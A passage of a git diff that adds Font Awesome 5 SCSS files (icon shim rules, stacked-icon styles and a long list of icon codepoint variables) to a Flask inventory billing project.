+.#{$fa-css-prefix}.#{$fa-css-prefix}-bathtub:before { content: fa-content($fa-var-bath); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-s15:before { content: fa-content($fa-var-bath); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-window-maximize { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-window-restore { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-times-rectangle:before { content: fa-content($fa-var-window-close); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-window-close-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-window-close-o:before { content: fa-content($fa-var-window-close); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-times-rectangle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-times-rectangle-o:before { content: fa-content($fa-var-window-close); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bandcamp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-grav { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-etsy { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-imdb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-ravelry { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-eercast { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-eercast:before { content: fa-content($fa-var-sellcast); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-snowflake-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-snowflake-o:before { content: fa-content($fa-var-snowflake); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-superpowers { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-wpexplorer { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cab:before { content: fa-content($fa-var-taxi); } + diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_stacked.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_stacked.scss new file mode 100644 index 00000000..ae7ef4e8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_stacked.scss @@ -0,0 +1,31 @@ +// Stacked Icons +// ------------------------- + +.#{$fa-css-prefix}-stack { + display: inline-block; + height: 2em; + line-height: 2em; + position: relative; + vertical-align: middle; + width: ($fa-fw-width*2); +} + +.#{$fa-css-prefix}-stack-1x, +.#{$fa-css-prefix}-stack-2x { + left: 0; + position: absolute; + text-align: center; + width: 100%; +} + +.#{$fa-css-prefix}-stack-1x { + line-height: inherit; +} + +.#{$fa-css-prefix}-stack-2x { + font-size: 2em; +} + +.#{$fa-css-prefix}-inverse { + color: $fa-inverse; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_variables.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_variables.scss new file mode 100644 index 00000000..b39f35e9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_variables.scss @@ -0,0 +1,1478 @@ +// Variables +// -------------------------- + +$fa-font-path: "../webfonts" !default; +$fa-font-size-base: 16px !default; +$fa-font-display: block !default; +$fa-css-prefix: fa !default; +$fa-version: "5.15.4" !default; +$fa-border-color: #eee !default; +$fa-inverse: #fff !default; +$fa-li-width: 2em !default; +$fa-fw-width: (20em / 16); +$fa-primary-opacity: 1 !default; +$fa-secondary-opacity: .4 !default; + +// Convenience function used to set content property +@function fa-content($fa-var) { + @return unquote("\"#{ $fa-var }\""); +} + +$fa-var-500px: \f26e; +$fa-var-accessible-icon: \f368; +$fa-var-accusoft: \f369; +$fa-var-acquisitions-incorporated: \f6af; +$fa-var-ad: \f641; +$fa-var-address-book: \f2b9; +$fa-var-address-card: \f2bb; +$fa-var-adjust: \f042; +$fa-var-adn: \f170; +$fa-var-adversal: \f36a; +$fa-var-affiliatetheme: \f36b; +$fa-var-air-freshener: \f5d0; +$fa-var-airbnb: \f834; +$fa-var-algolia: \f36c; +$fa-var-align-center: \f037; +$fa-var-align-justify: \f039; +$fa-var-align-left: \f036; +$fa-var-align-right: \f038; +$fa-var-alipay: \f642; +$fa-var-allergies: \f461; +$fa-var-amazon: \f270; +$fa-var-amazon-pay: \f42c; +$fa-var-ambulance: \f0f9; +$fa-var-american-sign-language-interpreting: \f2a3; +$fa-var-amilia: \f36d; +$fa-var-anchor: \f13d; +$fa-var-android: \f17b; +$fa-var-angellist: \f209; +$fa-var-angle-double-down: \f103; +$fa-var-angle-double-left: \f100; +$fa-var-angle-double-right: \f101; +$fa-var-angle-double-up: \f102; +$fa-var-angle-down: \f107; +$fa-var-angle-left: \f104; +$fa-var-angle-right: \f105; +$fa-var-angle-up: \f106; +$fa-var-angry: \f556; +$fa-var-angrycreative: \f36e; +$fa-var-angular: \f420; +$fa-var-ankh: \f644; +$fa-var-app-store: \f36f; +$fa-var-app-store-ios: \f370; +$fa-var-apper: \f371; +$fa-var-apple: \f179; +$fa-var-apple-alt: \f5d1; +$fa-var-apple-pay: \f415; +$fa-var-archive: \f187; +$fa-var-archway: \f557; +$fa-var-arrow-alt-circle-down: \f358; +$fa-var-arrow-alt-circle-left: \f359; +$fa-var-arrow-alt-circle-right: \f35a; +$fa-var-arrow-alt-circle-up: \f35b; +$fa-var-arrow-circle-down: \f0ab; +$fa-var-arrow-circle-left: \f0a8; +$fa-var-arrow-circle-right: \f0a9; +$fa-var-arrow-circle-up: \f0aa; +$fa-var-arrow-down: \f063; +$fa-var-arrow-left: \f060; +$fa-var-arrow-right: \f061; +$fa-var-arrow-up: \f062; +$fa-var-arrows-alt: \f0b2; +$fa-var-arrows-alt-h: \f337; +$fa-var-arrows-alt-v: \f338; +$fa-var-artstation: \f77a; +$fa-var-assistive-listening-systems: \f2a2; +$fa-var-asterisk: \f069; +$fa-var-asymmetrik: \f372; +$fa-var-at: \f1fa; +$fa-var-atlas: \f558; +$fa-var-atlassian: \f77b; +$fa-var-atom: \f5d2; +$fa-var-audible: \f373; +$fa-var-audio-description: \f29e; +$fa-var-autoprefixer: \f41c; +$fa-var-avianex: \f374; +$fa-var-aviato: \f421; +$fa-var-award: \f559; +$fa-var-aws: \f375; +$fa-var-baby: \f77c; +$fa-var-baby-carriage: \f77d; +$fa-var-backspace: \f55a; +$fa-var-backward: \f04a; +$fa-var-bacon: \f7e5; +$fa-var-bacteria: \e059; +$fa-var-bacterium: \e05a; +$fa-var-bahai: \f666; +$fa-var-balance-scale: \f24e; +$fa-var-balance-scale-left: \f515; +$fa-var-balance-scale-right: \f516; +$fa-var-ban: \f05e; +$fa-var-band-aid: \f462; +$fa-var-bandcamp: \f2d5; +$fa-var-barcode: \f02a; +$fa-var-bars: \f0c9; +$fa-var-baseball-ball: \f433; +$fa-var-basketball-ball: \f434; +$fa-var-bath: \f2cd; +$fa-var-battery-empty: \f244; +$fa-var-battery-full: \f240; +$fa-var-battery-half: \f242; +$fa-var-battery-quarter: \f243; +$fa-var-battery-three-quarters: \f241; +$fa-var-battle-net: \f835; +$fa-var-bed: \f236; +$fa-var-beer: \f0fc; +$fa-var-behance: \f1b4; +$fa-var-behance-square: \f1b5; +$fa-var-bell: \f0f3; +$fa-var-bell-slash: \f1f6; +$fa-var-bezier-curve: \f55b; +$fa-var-bible: \f647; +$fa-var-bicycle: \f206; +$fa-var-biking: \f84a; +$fa-var-bimobject: \f378; +$fa-var-binoculars: \f1e5; +$fa-var-biohazard: \f780; +$fa-var-birthday-cake: \f1fd; +$fa-var-bitbucket: \f171; +$fa-var-bitcoin: \f379; +$fa-var-bity: \f37a; +$fa-var-black-tie: \f27e; +$fa-var-blackberry: \f37b; +$fa-var-blender: \f517; +$fa-var-blender-phone: \f6b6; +$fa-var-blind: \f29d; +$fa-var-blog: \f781; +$fa-var-blogger: \f37c; +$fa-var-blogger-b: \f37d; +$fa-var-bluetooth: \f293; +$fa-var-bluetooth-b: \f294; +$fa-var-bold: \f032; +$fa-var-bolt: \f0e7; +$fa-var-bomb: \f1e2; +$fa-var-bone: \f5d7; +$fa-var-bong: \f55c; +$fa-var-book: \f02d; +$fa-var-book-dead: \f6b7; +$fa-var-book-medical: \f7e6; +$fa-var-book-open: \f518; +$fa-var-book-reader: \f5da; +$fa-var-bookmark: \f02e; +$fa-var-bootstrap: \f836; +$fa-var-border-all: \f84c; +$fa-var-border-none: \f850; +$fa-var-border-style: \f853; +$fa-var-bowling-ball: \f436; +$fa-var-box: \f466; +$fa-var-box-open: \f49e; +$fa-var-box-tissue: \e05b; +$fa-var-boxes: \f468; +$fa-var-braille: \f2a1; +$fa-var-brain: \f5dc; +$fa-var-bread-slice: \f7ec; +$fa-var-briefcase: \f0b1; +$fa-var-briefcase-medical: \f469; +$fa-var-broadcast-tower: \f519; +$fa-var-broom: \f51a; +$fa-var-brush: \f55d; +$fa-var-btc: \f15a; +$fa-var-buffer: \f837; +$fa-var-bug: \f188; +$fa-var-building: \f1ad; +$fa-var-bullhorn: \f0a1; +$fa-var-bullseye: \f140; +$fa-var-burn: \f46a; +$fa-var-buromobelexperte: \f37f; +$fa-var-bus: \f207; +$fa-var-bus-alt: \f55e; +$fa-var-business-time: \f64a; +$fa-var-buy-n-large: \f8a6; +$fa-var-buysellads: \f20d; +$fa-var-calculator: \f1ec; +$fa-var-calendar: \f133; +$fa-var-calendar-alt: \f073; +$fa-var-calendar-check: \f274; +$fa-var-calendar-day: \f783; +$fa-var-calendar-minus: \f272; +$fa-var-calendar-plus: \f271; +$fa-var-calendar-times: \f273; +$fa-var-calendar-week: \f784; +$fa-var-camera: \f030; +$fa-var-camera-retro: \f083; +$fa-var-campground: \f6bb; +$fa-var-canadian-maple-leaf: \f785; +$fa-var-candy-cane: \f786; +$fa-var-cannabis: \f55f; +$fa-var-capsules: \f46b; +$fa-var-car: \f1b9; +$fa-var-car-alt: \f5de; +$fa-var-car-battery: \f5df; +$fa-var-car-crash: \f5e1; +$fa-var-car-side: \f5e4; +$fa-var-caravan: \f8ff; +$fa-var-caret-down: \f0d7; +$fa-var-caret-left: \f0d9; +$fa-var-caret-right: \f0da; +$fa-var-caret-square-down: \f150; +$fa-var-caret-square-left: \f191; +$fa-var-caret-square-right: \f152; +$fa-var-caret-square-up: \f151; +$fa-var-caret-up: \f0d8; +$fa-var-carrot: \f787; +$fa-var-cart-arrow-down: \f218; +$fa-var-cart-plus: \f217; +$fa-var-cash-register: \f788; +$fa-var-cat: \f6be; +$fa-var-cc-amazon-pay: \f42d; +$fa-var-cc-amex: \f1f3; +$fa-var-cc-apple-pay: \f416; +$fa-var-cc-diners-club: \f24c; +$fa-var-cc-discover: \f1f2; +$fa-var-cc-jcb: \f24b; +$fa-var-cc-mastercard: \f1f1; +$fa-var-cc-paypal: \f1f4; +$fa-var-cc-stripe: \f1f5; +$fa-var-cc-visa: \f1f0; +$fa-var-centercode: \f380; +$fa-var-centos: \f789; +$fa-var-certificate: \f0a3; +$fa-var-chair: \f6c0; +$fa-var-chalkboard: \f51b; +$fa-var-chalkboard-teacher: \f51c; +$fa-var-charging-station: \f5e7; +$fa-var-chart-area: \f1fe; +$fa-var-chart-bar: \f080; +$fa-var-chart-line: \f201; +$fa-var-chart-pie: \f200; +$fa-var-check: \f00c; +$fa-var-check-circle: \f058; +$fa-var-check-double: \f560; +$fa-var-check-square: \f14a; +$fa-var-cheese: \f7ef; +$fa-var-chess: \f439; +$fa-var-chess-bishop: \f43a; +$fa-var-chess-board: \f43c; +$fa-var-chess-king: \f43f; +$fa-var-chess-knight: \f441; +$fa-var-chess-pawn: \f443; +$fa-var-chess-queen: \f445; +$fa-var-chess-rook: \f447; +$fa-var-chevron-circle-down: \f13a; +$fa-var-chevron-circle-left: \f137; +$fa-var-chevron-circle-right: \f138; +$fa-var-chevron-circle-up: \f139; +$fa-var-chevron-down: \f078; +$fa-var-chevron-left: \f053; +$fa-var-chevron-right: \f054; +$fa-var-chevron-up: \f077; +$fa-var-child: \f1ae; +$fa-var-chrome: \f268; +$fa-var-chromecast: \f838; +$fa-var-church: \f51d; +$fa-var-circle: \f111; +$fa-var-circle-notch: \f1ce; +$fa-var-city: \f64f; +$fa-var-clinic-medical: \f7f2; +$fa-var-clipboard: \f328; +$fa-var-clipboard-check: \f46c; +$fa-var-clipboard-list: \f46d; +$fa-var-clock: \f017; +$fa-var-clone: \f24d; +$fa-var-closed-captioning: \f20a; +$fa-var-cloud: \f0c2; +$fa-var-cloud-download-alt: \f381; +$fa-var-cloud-meatball: \f73b; +$fa-var-cloud-moon: \f6c3; +$fa-var-cloud-moon-rain: \f73c; +$fa-var-cloud-rain: \f73d; +$fa-var-cloud-showers-heavy: \f740; +$fa-var-cloud-sun: \f6c4; +$fa-var-cloud-sun-rain: \f743; +$fa-var-cloud-upload-alt: \f382; +$fa-var-cloudflare: \e07d; +$fa-var-cloudscale: \f383; +$fa-var-cloudsmith: \f384; +$fa-var-cloudversify: \f385; +$fa-var-cocktail: \f561; +$fa-var-code: \f121; +$fa-var-code-branch: \f126; +$fa-var-codepen: \f1cb; +$fa-var-codiepie: \f284; +$fa-var-coffee: \f0f4; +$fa-var-cog: \f013; +$fa-var-cogs: \f085; +$fa-var-coins: \f51e; +$fa-var-columns: \f0db; +$fa-var-comment: \f075; +$fa-var-comment-alt: \f27a; +$fa-var-comment-dollar: \f651; +$fa-var-comment-dots: \f4ad; +$fa-var-comment-medical: \f7f5; +$fa-var-comment-slash: \f4b3; +$fa-var-comments: \f086; +$fa-var-comments-dollar: \f653; +$fa-var-compact-disc: \f51f; +$fa-var-compass: \f14e; +$fa-var-compress: \f066; +$fa-var-compress-alt: \f422; +$fa-var-compress-arrows-alt: \f78c; +$fa-var-concierge-bell: \f562; +$fa-var-confluence: \f78d; +$fa-var-connectdevelop: \f20e; +$fa-var-contao: \f26d; +$fa-var-cookie: \f563; +$fa-var-cookie-bite: \f564; +$fa-var-copy: \f0c5; +$fa-var-copyright: \f1f9; +$fa-var-cotton-bureau: \f89e; +$fa-var-couch: \f4b8; +$fa-var-cpanel: \f388; +$fa-var-creative-commons: \f25e; +$fa-var-creative-commons-by: \f4e7; +$fa-var-creative-commons-nc: \f4e8; +$fa-var-creative-commons-nc-eu: \f4e9; +$fa-var-creative-commons-nc-jp: \f4ea; +$fa-var-creative-commons-nd: \f4eb; +$fa-var-creative-commons-pd: \f4ec; +$fa-var-creative-commons-pd-alt: \f4ed; +$fa-var-creative-commons-remix: \f4ee; +$fa-var-creative-commons-sa: \f4ef; +$fa-var-creative-commons-sampling: \f4f0; +$fa-var-creative-commons-sampling-plus: \f4f1; +$fa-var-creative-commons-share: \f4f2; +$fa-var-creative-commons-zero: \f4f3; +$fa-var-credit-card: \f09d; +$fa-var-critical-role: \f6c9; +$fa-var-crop: \f125; +$fa-var-crop-alt: \f565; +$fa-var-cross: \f654; +$fa-var-crosshairs: \f05b; +$fa-var-crow: \f520; +$fa-var-crown: \f521; +$fa-var-crutch: \f7f7; +$fa-var-css3: \f13c; +$fa-var-css3-alt: \f38b; +$fa-var-cube: \f1b2; +$fa-var-cubes: \f1b3; +$fa-var-cut: \f0c4; +$fa-var-cuttlefish: \f38c; +$fa-var-d-and-d: \f38d; +$fa-var-d-and-d-beyond: \f6ca; +$fa-var-dailymotion: \e052; +$fa-var-dashcube: \f210; +$fa-var-database: \f1c0; +$fa-var-deaf: \f2a4; +$fa-var-deezer: \e077; +$fa-var-delicious: \f1a5; +$fa-var-democrat: \f747; +$fa-var-deploydog: \f38e; +$fa-var-deskpro: \f38f; +$fa-var-desktop: \f108; +$fa-var-dev: \f6cc; +$fa-var-deviantart: \f1bd; +$fa-var-dharmachakra: \f655; +$fa-var-dhl: \f790; +$fa-var-diagnoses: \f470; +$fa-var-diaspora: \f791; +$fa-var-dice: \f522; +$fa-var-dice-d20: \f6cf; +$fa-var-dice-d6: \f6d1; +$fa-var-dice-five: \f523; +$fa-var-dice-four: \f524; +$fa-var-dice-one: \f525; +$fa-var-dice-six: \f526; +$fa-var-dice-three: \f527; +$fa-var-dice-two: \f528; +$fa-var-digg: \f1a6; +$fa-var-digital-ocean: \f391; +$fa-var-digital-tachograph: \f566; +$fa-var-directions: \f5eb; +$fa-var-discord: \f392; +$fa-var-discourse: \f393; +$fa-var-disease: \f7fa; +$fa-var-divide: \f529; +$fa-var-dizzy: \f567; +$fa-var-dna: \f471; +$fa-var-dochub: \f394; +$fa-var-docker: \f395; +$fa-var-dog: \f6d3; +$fa-var-dollar-sign: \f155; +$fa-var-dolly: \f472; +$fa-var-dolly-flatbed: \f474; +$fa-var-donate: \f4b9; +$fa-var-door-closed: \f52a; +$fa-var-door-open: \f52b; +$fa-var-dot-circle: \f192; +$fa-var-dove: \f4ba; +$fa-var-download: \f019; +$fa-var-draft2digital: \f396; +$fa-var-drafting-compass: \f568; +$fa-var-dragon: \f6d5; +$fa-var-draw-polygon: \f5ee; +$fa-var-dribbble: \f17d; +$fa-var-dribbble-square: \f397; +$fa-var-dropbox: \f16b; +$fa-var-drum: \f569; +$fa-var-drum-steelpan: \f56a; +$fa-var-drumstick-bite: \f6d7; +$fa-var-drupal: \f1a9; +$fa-var-dumbbell: \f44b; +$fa-var-dumpster: \f793; +$fa-var-dumpster-fire: \f794; +$fa-var-dungeon: \f6d9; +$fa-var-dyalog: \f399; +$fa-var-earlybirds: \f39a; +$fa-var-ebay: \f4f4; +$fa-var-edge: \f282; +$fa-var-edge-legacy: \e078; +$fa-var-edit: \f044; +$fa-var-egg: \f7fb; +$fa-var-eject: \f052; +$fa-var-elementor: \f430; +$fa-var-ellipsis-h: \f141; +$fa-var-ellipsis-v: \f142; +$fa-var-ello: \f5f1; +$fa-var-ember: \f423; +$fa-var-empire: \f1d1; +$fa-var-envelope: \f0e0; +$fa-var-envelope-open: \f2b6; +$fa-var-envelope-open-text: \f658; +$fa-var-envelope-square: \f199; +$fa-var-envira: \f299; +$fa-var-equals: \f52c; +$fa-var-eraser: \f12d; +$fa-var-erlang: \f39d; +$fa-var-ethereum: \f42e; +$fa-var-ethernet: \f796; +$fa-var-etsy: \f2d7; +$fa-var-euro-sign: \f153; +$fa-var-evernote: \f839; +$fa-var-exchange-alt: \f362; +$fa-var-exclamation: \f12a; +$fa-var-exclamation-circle: \f06a; +$fa-var-exclamation-triangle: \f071; +$fa-var-expand: \f065; +$fa-var-expand-alt: \f424; +$fa-var-expand-arrows-alt: \f31e; +$fa-var-expeditedssl: \f23e; +$fa-var-external-link-alt: \f35d; +$fa-var-external-link-square-alt: \f360; +$fa-var-eye: \f06e; +$fa-var-eye-dropper: \f1fb; +$fa-var-eye-slash: \f070; +$fa-var-facebook: \f09a; +$fa-var-facebook-f: \f39e; +$fa-var-facebook-messenger: \f39f; +$fa-var-facebook-square: \f082; +$fa-var-fan: \f863; +$fa-var-fantasy-flight-games: \f6dc; +$fa-var-fast-backward: \f049; +$fa-var-fast-forward: \f050; +$fa-var-faucet: \e005; +$fa-var-fax: \f1ac; +$fa-var-feather: \f52d; +$fa-var-feather-alt: \f56b; +$fa-var-fedex: \f797; +$fa-var-fedora: \f798; +$fa-var-female: \f182; +$fa-var-fighter-jet: \f0fb; +$fa-var-figma: \f799; +$fa-var-file: \f15b; +$fa-var-file-alt: \f15c; +$fa-var-file-archive: \f1c6; +$fa-var-file-audio: \f1c7; +$fa-var-file-code: \f1c9; +$fa-var-file-contract: \f56c; +$fa-var-file-csv: \f6dd; +$fa-var-file-download: \f56d; +$fa-var-file-excel: \f1c3; +$fa-var-file-export: \f56e; +$fa-var-file-image: \f1c5; +$fa-var-file-import: \f56f; +$fa-var-file-invoice: \f570; +$fa-var-file-invoice-dollar: \f571; +$fa-var-file-medical: \f477; +$fa-var-file-medical-alt: \f478; +$fa-var-file-pdf: \f1c1; +$fa-var-file-powerpoint: \f1c4; +$fa-var-file-prescription: \f572; +$fa-var-file-signature: \f573; +$fa-var-file-upload: \f574; +$fa-var-file-video: \f1c8; +$fa-var-file-word: \f1c2; +$fa-var-fill: \f575; +$fa-var-fill-drip: \f576; +$fa-var-film: \f008; +$fa-var-filter: \f0b0; +$fa-var-fingerprint: \f577; +$fa-var-fire: \f06d; +$fa-var-fire-alt: \f7e4; +$fa-var-fire-extinguisher: \f134; +$fa-var-firefox: \f269; +$fa-var-firefox-browser: \e007; +$fa-var-first-aid: \f479; +$fa-var-first-order: \f2b0; +$fa-var-first-order-alt: \f50a; +$fa-var-firstdraft: \f3a1; +$fa-var-fish: \f578; +$fa-var-fist-raised: \f6de; +$fa-var-flag: \f024; +$fa-var-flag-checkered: \f11e; +$fa-var-flag-usa: \f74d; +$fa-var-flask: \f0c3; +$fa-var-flickr: \f16e; +$fa-var-flipboard: \f44d; +$fa-var-flushed: \f579; +$fa-var-fly: \f417; +$fa-var-folder: \f07b; +$fa-var-folder-minus: \f65d; +$fa-var-folder-open: \f07c; +$fa-var-folder-plus: \f65e; +$fa-var-font: \f031; +$fa-var-font-awesome: \f2b4; +$fa-var-font-awesome-alt: \f35c; +$fa-var-font-awesome-flag: \f425; +$fa-var-font-awesome-logo-full: \f4e6; +$fa-var-fonticons: \f280; +$fa-var-fonticons-fi: \f3a2; +$fa-var-football-ball: \f44e; +$fa-var-fort-awesome: \f286; +$fa-var-fort-awesome-alt: \f3a3; +$fa-var-forumbee: \f211; +$fa-var-forward: \f04e; +$fa-var-foursquare: \f180; +$fa-var-free-code-camp: \f2c5; +$fa-var-freebsd: \f3a4; +$fa-var-frog: \f52e; +$fa-var-frown: \f119; +$fa-var-frown-open: \f57a; +$fa-var-fulcrum: \f50b; +$fa-var-funnel-dollar: \f662; +$fa-var-futbol: \f1e3; +$fa-var-galactic-republic: \f50c; +$fa-var-galactic-senate: \f50d; +$fa-var-gamepad: \f11b; +$fa-var-gas-pump: \f52f; +$fa-var-gavel: \f0e3; +$fa-var-gem: \f3a5; +$fa-var-genderless: \f22d; +$fa-var-get-pocket: \f265; +$fa-var-gg: \f260; +$fa-var-gg-circle: \f261; +$fa-var-ghost: \f6e2; +$fa-var-gift: \f06b; +$fa-var-gifts: \f79c; +$fa-var-git: \f1d3; +$fa-var-git-alt: \f841; +$fa-var-git-square: \f1d2; +$fa-var-github: \f09b; +$fa-var-github-alt: \f113; +$fa-var-github-square: \f092; +$fa-var-gitkraken: \f3a6; +$fa-var-gitlab: \f296; +$fa-var-gitter: \f426; +$fa-var-glass-cheers: \f79f; +$fa-var-glass-martini: \f000; +$fa-var-glass-martini-alt: \f57b; +$fa-var-glass-whiskey: \f7a0; +$fa-var-glasses: \f530; +$fa-var-glide: \f2a5; +$fa-var-glide-g: \f2a6; +$fa-var-globe: \f0ac; +$fa-var-globe-africa: \f57c; +$fa-var-globe-americas: \f57d; +$fa-var-globe-asia: \f57e; +$fa-var-globe-europe: \f7a2; +$fa-var-gofore: \f3a7; +$fa-var-golf-ball: \f450; +$fa-var-goodreads: \f3a8; +$fa-var-goodreads-g: \f3a9; +$fa-var-google: \f1a0; +$fa-var-google-drive: \f3aa; +$fa-var-google-pay: \e079; +$fa-var-google-play: \f3ab; +$fa-var-google-plus: \f2b3; +$fa-var-google-plus-g: \f0d5; +$fa-var-google-plus-square: \f0d4; +$fa-var-google-wallet: \f1ee; +$fa-var-gopuram: \f664; +$fa-var-graduation-cap: \f19d; +$fa-var-gratipay: \f184; +$fa-var-grav: \f2d6; +$fa-var-greater-than: \f531; +$fa-var-greater-than-equal: \f532; +$fa-var-grimace: \f57f; +$fa-var-grin: \f580; +$fa-var-grin-alt: \f581; +$fa-var-grin-beam: \f582; +$fa-var-grin-beam-sweat: \f583; +$fa-var-grin-hearts: \f584; +$fa-var-grin-squint: \f585; +$fa-var-grin-squint-tears: \f586; +$fa-var-grin-stars: \f587; +$fa-var-grin-tears: \f588; +$fa-var-grin-tongue: \f589; +$fa-var-grin-tongue-squint: \f58a; +$fa-var-grin-tongue-wink: \f58b; +$fa-var-grin-wink: \f58c; +$fa-var-grip-horizontal: \f58d; +$fa-var-grip-lines: \f7a4; +$fa-var-grip-lines-vertical: \f7a5; +$fa-var-grip-vertical: \f58e; +$fa-var-gripfire: \f3ac; +$fa-var-grunt: \f3ad; +$fa-var-guilded: \e07e; +$fa-var-guitar: \f7a6; +$fa-var-gulp: \f3ae; +$fa-var-h-square: \f0fd; +$fa-var-hacker-news: \f1d4; +$fa-var-hacker-news-square: \f3af; +$fa-var-hackerrank: \f5f7; +$fa-var-hamburger: \f805; +$fa-var-hammer: \f6e3; +$fa-var-hamsa: \f665; +$fa-var-hand-holding: \f4bd; +$fa-var-hand-holding-heart: \f4be; +$fa-var-hand-holding-medical: \e05c; +$fa-var-hand-holding-usd: \f4c0; +$fa-var-hand-holding-water: \f4c1; +$fa-var-hand-lizard: \f258; +$fa-var-hand-middle-finger: \f806; +$fa-var-hand-paper: \f256; +$fa-var-hand-peace: \f25b; +$fa-var-hand-point-down: \f0a7; +$fa-var-hand-point-left: \f0a5; +$fa-var-hand-point-right: \f0a4; +$fa-var-hand-point-up: \f0a6; +$fa-var-hand-pointer: \f25a; +$fa-var-hand-rock: \f255; +$fa-var-hand-scissors: \f257; +$fa-var-hand-sparkles: \e05d; +$fa-var-hand-spock: \f259; +$fa-var-hands: \f4c2; +$fa-var-hands-helping: \f4c4; +$fa-var-hands-wash: \e05e; +$fa-var-handshake: \f2b5; +$fa-var-handshake-alt-slash: \e05f; +$fa-var-handshake-slash: \e060; +$fa-var-hanukiah: \f6e6; +$fa-var-hard-hat: \f807; +$fa-var-hashtag: \f292; +$fa-var-hat-cowboy: \f8c0; +$fa-var-hat-cowboy-side: \f8c1; +$fa-var-hat-wizard: \f6e8; +$fa-var-hdd: \f0a0; +$fa-var-head-side-cough: \e061; +$fa-var-head-side-cough-slash: \e062; +$fa-var-head-side-mask: \e063; +$fa-var-head-side-virus: \e064; +$fa-var-heading: \f1dc; +$fa-var-headphones: \f025; +$fa-var-headphones-alt: \f58f; +$fa-var-headset: \f590; +$fa-var-heart: \f004; +$fa-var-heart-broken: \f7a9; +$fa-var-heartbeat: \f21e; +$fa-var-helicopter: \f533; +$fa-var-highlighter: \f591; +$fa-var-hiking: \f6ec; +$fa-var-hippo: \f6ed; +$fa-var-hips: \f452; +$fa-var-hire-a-helper: \f3b0; +$fa-var-history: \f1da; +$fa-var-hive: \e07f; +$fa-var-hockey-puck: \f453; +$fa-var-holly-berry: \f7aa; +$fa-var-home: \f015; +$fa-var-hooli: \f427; +$fa-var-hornbill: \f592; +$fa-var-horse: \f6f0; +$fa-var-horse-head: \f7ab; +$fa-var-hospital: \f0f8; +$fa-var-hospital-alt: \f47d; +$fa-var-hospital-symbol: \f47e; +$fa-var-hospital-user: \f80d; +$fa-var-hot-tub: \f593; +$fa-var-hotdog: \f80f; +$fa-var-hotel: \f594; +$fa-var-hotjar: \f3b1; +$fa-var-hourglass: \f254; +$fa-var-hourglass-end: \f253; +$fa-var-hourglass-half: \f252; +$fa-var-hourglass-start: \f251; +$fa-var-house-damage: \f6f1; +$fa-var-house-user: \e065; +$fa-var-houzz: \f27c; +$fa-var-hryvnia: \f6f2; +$fa-var-html5: \f13b; +$fa-var-hubspot: \f3b2; +$fa-var-i-cursor: \f246; +$fa-var-ice-cream: \f810; +$fa-var-icicles: \f7ad; +$fa-var-icons: \f86d; +$fa-var-id-badge: \f2c1; +$fa-var-id-card: \f2c2; +$fa-var-id-card-alt: \f47f; +$fa-var-ideal: \e013; +$fa-var-igloo: \f7ae; +$fa-var-image: \f03e; +$fa-var-images: \f302; +$fa-var-imdb: \f2d8; +$fa-var-inbox: \f01c; +$fa-var-indent: \f03c; +$fa-var-industry: \f275; +$fa-var-infinity: \f534; +$fa-var-info: \f129; +$fa-var-info-circle: \f05a; +$fa-var-innosoft: \e080; +$fa-var-instagram: \f16d; +$fa-var-instagram-square: \e055; +$fa-var-instalod: \e081; +$fa-var-intercom: \f7af; +$fa-var-internet-explorer: \f26b; +$fa-var-invision: \f7b0; +$fa-var-ioxhost: \f208; +$fa-var-italic: \f033; +$fa-var-itch-io: \f83a; +$fa-var-itunes: \f3b4; +$fa-var-itunes-note: \f3b5; +$fa-var-java: \f4e4; +$fa-var-jedi: \f669; +$fa-var-jedi-order: \f50e; +$fa-var-jenkins: \f3b6; +$fa-var-jira: \f7b1; +$fa-var-joget: \f3b7; +$fa-var-joint: \f595; +$fa-var-joomla: \f1aa; +$fa-var-journal-whills: \f66a; +$fa-var-js: \f3b8; +$fa-var-js-square: \f3b9; +$fa-var-jsfiddle: \f1cc; +$fa-var-kaaba: \f66b; +$fa-var-kaggle: \f5fa; +$fa-var-key: \f084; +$fa-var-keybase: \f4f5; +$fa-var-keyboard: \f11c; +$fa-var-keycdn: \f3ba; +$fa-var-khanda: \f66d; +$fa-var-kickstarter: \f3bb; +$fa-var-kickstarter-k: \f3bc; +$fa-var-kiss: \f596; +$fa-var-kiss-beam: \f597; +$fa-var-kiss-wink-heart: \f598; +$fa-var-kiwi-bird: \f535; 